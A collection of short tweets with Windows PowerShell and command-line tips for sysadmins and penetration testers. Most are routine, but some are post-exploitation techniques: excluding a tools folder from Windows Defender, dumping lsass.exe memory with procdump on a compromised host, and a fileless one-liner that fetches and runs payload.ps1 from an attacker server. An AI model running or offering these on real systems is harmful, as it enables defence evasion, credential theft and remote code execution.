#Powershell get list of processes with command line & username
PS C:\> gwmi win32_process|select processid,name,commandline,path,@{name="username";ex={$_.getowner().user}}
add -ComputerName "NAME-HERE" to gwmi to run this remotely
#security#malware#pentest#redteam#blueteam
Add a file/folder to #Windows Defender exclusion list
C:\>powershell -exec bypass - "Add-MpPreference -ExclusionPath 'D:\EvilFolder\Tools'"
useful if you want to move #pentest tools to a Windows machine without Defender interfering
Admin UAC prompt required
#powershell#oscp
Get a list of IPs connected via #RDP so far
PS C:\> Get-WinEvent -Log 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | select -exp Properties | where {$_.Value -like '*.*.*.*' } | sort Value -u
#sysadmin#PowerShell#audit#blueteam
Happy new year!
Map #Sysinternals tools folder locally, run tools when required. Useful on a compromised remote machine to avoid tool clutter.
net use Z: \\https://t.co/CP83SaQ7we\tools\ "/user:"
dir Z:
Z:\procdump -accepteula -ma lsass.exe lsassdmp
#pentest#sysadmin#redteam
Download and execute a #PowerShell script without touching the disk (fileless).
powershell -exec bypass -c "iwr('http://attacker-server/payload.ps1')|iex"
#pentest#postexploitation#oscp
Display list of blocked ports on the #firewall using #powershell.
Add other attributes to 'select' to increase verbosity.
PS C:\> $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
#sysadmin#windows
Set IP address using #netsh. Needs elevation.
Fetch all interface names:
C:\> netsh interface ip show interfaces
Set a IP address & gateway:
C:\> netsh interface ip add address name="Wi-Fi" addr=192.168.100.200 mask=255.255.255.0 gateway=192.168.100.1 gwmetric=2000